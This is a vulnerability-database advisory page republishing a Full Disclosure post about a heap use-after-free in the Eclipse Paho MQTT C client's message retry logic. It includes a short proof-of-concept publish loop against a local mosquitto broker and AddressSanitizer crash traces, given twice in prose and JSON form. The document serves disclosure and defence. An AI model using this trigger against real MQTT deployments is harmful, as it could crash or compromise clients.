GCVE-1988-2026-0176
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
EPSS
VEX
Title
Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi
Summary
*Description:*
Eclipse Paho MQTT C Client contains a heap use-after-free vulnerability in
the synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH
messages with retry semantics. When a user-supplied messageArrived()
callback frees the received message and returns 0 (indicating processing
failure and requesting retry), the library retains internal references to
the freed message and later reuses them during retry processing. This
results in a use-after-free inside the library, leading to a crash and
potential arbitrary code execution depending on heap state. The
vulnerability occurs because the library does not revalidate message
ownership or clone message data before reusing it on retry paths.
*Impact:*
An unauthenticated remote attacker capable of publishing messages to the
MQTT broker can trigger this vulnerability, resulting in:
* Denial of Service (crash)
* Potential Remote Code Execution, depending on heap layout and allocator
behavior
*Affected Component:*
- Library: Eclipse Paho MQTT C Client
- Module: libpaho-mqtt3c (synchronous client)
- File: src/MQTTClient.c
- Function: MQTTClient_run() (retry processing path)
*Attack Vector:*
- Remote / Network
- Triggered via MQTT PUBLISH packets
- No authentication required in common broker configurations
- No local access required
*Server:*
# mosquitto -p 1884 -v
—snip—
1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.
1768860860: Client asan-client closed its connection.
*Payload (attacker):*
# for i in {1..50}; do mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q
1 -m "AAAA$i"; done
*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
export UBSAN_OPTIONS=print_stacktrace=1
./MQTTClient_ASAN
[*] Creating client
[*] Connecting
[*] Subscribing
[*] Waiting for message (publish now!)
[!] messageArrived called
[!] returning 0 (retry path)
=================================================================
==179019==ERROR: AddressSanitizer: heap-use-after-free on address
0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60
READ of size 9 at 0xfc2fa47e1b78 thread T1
#0 0xaaaac160cd94 in strlen
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5b298d8 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:911:9
#2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8
#4 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region
[0xfc2fa47e1b70,0xfc2fa47e1b90)
freed by thread T1 here:
#0 0xaaaac169928c in free
(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4
#2 0xffffa5aff74c in MQTTClient_free
/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2
#3 0xaaaac16dbf88 in messageArrived
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5
#4 0xffffa5b29fc4 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:917:10
#5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#6 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
previously allocated by thread T1 here:
#0 0xaaaac1699520 in malloc
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16
#2 0xffffa5b504dc in readUTFlen
/root/paho.mqtt.c/src/MQTTPacket.c:395:18
#3 0xffffa5b4b460 in MQTTPacket_publish
/root/paho.mqtt.c/src/MQTTPacket.c:570:21
#4 0xffffa5b4d598 in MQTTPacket_Factory
/root/paho.mqtt.c/src/MQTTPacket.c:150:16
#5 0xffffa5b1e62c in MQTTClient_cycle
/root/paho.mqtt.c/src/MQTTClient.c:2648:12
#6 0xffffa5b284ac in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:866:10
#7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#8 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
Thread T1 created by T0 here:
#0 0xaaaac167d5ac in pthread_create
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5b92adc in Paho_thread_start
/root/paho.mqtt.c/src/Thread.c:79:6
#2 0xffffa5b244c0 in MQTTClient_connectURIVersion
/root/paho.mqtt.c/src/MQTTClient.c:1239:3
#3 0xffffa5b0efec in MQTTClient_connectURI
/root/paho.mqtt.c/src/MQTTClient.c:1731:8
#4 0xffffa5b0512c in MQTTClient_connectAll
/root/paho.mqtt.c/src/MQTTClient.c:1888:8
#5 0xffffa5b02ec0 in MQTTClient_connect
/root/paho.mqtt.c/src/MQTTClient.c:1759:13
#6 0xaaaac16dc1d8 in main
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5
#7 0xffffa5762598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3
#9 0xaaaac15f542c in _start
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nEclipse Paho MQTT C Client contains a heap use-after-free vulnerability in\nthe synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH\nmessages with retry semantics. When a user-supplied messageArrived()\ncallback frees the received message and returns 0 (indicating processing\nfailure and requesting retry), the library retains internal references to\nthe freed message and later reuses them during retry processing. This\nresults in a use-after-free inside the library, leading to a crash and\npotential arbitrary code execution depending on heap state. The\nvulnerability occurs because the library does not revalidate message\nownership or clone message data before reusing it on retry paths.\n\n*Impact:*\nAn unauthenticated remote attacker capable of publishing messages to the\nMQTT broker can trigger this vulnerability, resulting in:\n* Denial of Service (crash)\n* Potential Remote Code Execution, depending on heap layout and allocator\nbehavior\n\n*Affected Component:*\n\n - Library: Eclipse Paho MQTT C Client\n - Module: libpaho-mqtt3c (synchronous client)\n - File: src/MQTTClient.c\n - Function: MQTTClient_run() (retry processing path)\n\n*Attack Vector:*\n\n - Remote / Network\n - Triggered via MQTT PUBLISH packets\n - No authentication required in common broker configurations\n - No local access required\n\n*Server:*\n# mosquitto -p 1884 -v\n\u2014snip\u2014\n\n1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.\n1768860860: Client asan-client closed its connection.\n\n*Payload (attacker):*\n\n# for i in {1..50}; do mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q\n1 -m \"AAAA$i\"; done\n\n\n*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0\nexport UBSAN_OPTIONS=print_stacktrace=1\n\n./MQTTClient_ASAN\n[*] Creating client\n[*] Connecting\n[*] Subscribing\n[*] Waiting for message (publish now!)\n[!] messageArrived called\n[!] returning 0 (retry path)\n=================================================================\n==179019==ERROR: AddressSanitizer: heap-use-after-free on address\n0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60\nREAD of size 9 at 0xfc2fa47e1b78 thread T1\n #0 0xaaaac160cd94 in strlen\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b298d8 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:911:9\n #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8\n #4 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\n0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region\n[0xfc2fa47e1b70,0xfc2fa47e1b90)\nfreed by thread T1 here:\n #0 0xaaaac169928c in free\n(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4\n #2 0xffffa5aff74c in MQTTClient_free\n/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2\n #3 0xaaaac16dbf88 in messageArrived\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5\n #4 0xffffa5b29fc4 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:917:10\n #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #6 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\npreviously allocated by thread T1 here:\n #0 0xaaaac1699520 in malloc\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16\n #2 0xffffa5b504dc in readUTFlen\n/root/paho.mqtt.c/src/MQTTPacket.c:395:18\n #3 0xffffa5b4b460 in MQTTPacket_publish\n/root/paho.mqtt.c/src/MQTTPacket.c:570:21\n #4 0xffffa5b4d598 in MQTTPacket_Factory\n/root/paho.mqtt.c/src/MQTTPacket.c:150:16\n #5 0xffffa5b1e62c in MQTTClient_cycle\n/root/paho.mqtt.c/src/MQTTClient.c:2648:12\n #6 0xffffa5b284ac in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:866:10\n #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #8 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\nThread T1 created by T0 here:\n #0 0xaaaac167d5ac in pthread_create\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b92adc in Paho_thread_start\n/root/paho.mqtt.c/src/Thread.c:79:6\n #2 0xffffa5b244c0 in MQTTClient_connectURIVersion\n/root/paho.mqtt.c/src/MQTTClient.c:1239:3\n #3 0xffffa5b0efec in MQTTClient_connectURI\n/root/paho.mqtt.c/src/MQTTClient.c:1731:8\n #4 0xffffa5b0512c in MQTTClient_connectAll\n/root/paho.mqtt.c/src/MQTTClient.c:1888:8\n #5 0xffffa5b02ec0 in MQTTClient_connect\n/root/paho.mqtt.c/src/MQTTClient.c:1759:13\n #6 0xaaaac16dc1d8 in main\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5\n #7 0xffffa5762598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #9 0xaaaac15f542c in _start\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/13"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/13"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0176",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13",
"automated": true,
"contentSha256": "7c39369d705198ae277a5070c4d46a28593d4c39e376b63ad98b72577202714f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/13",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:47:08Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0176"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…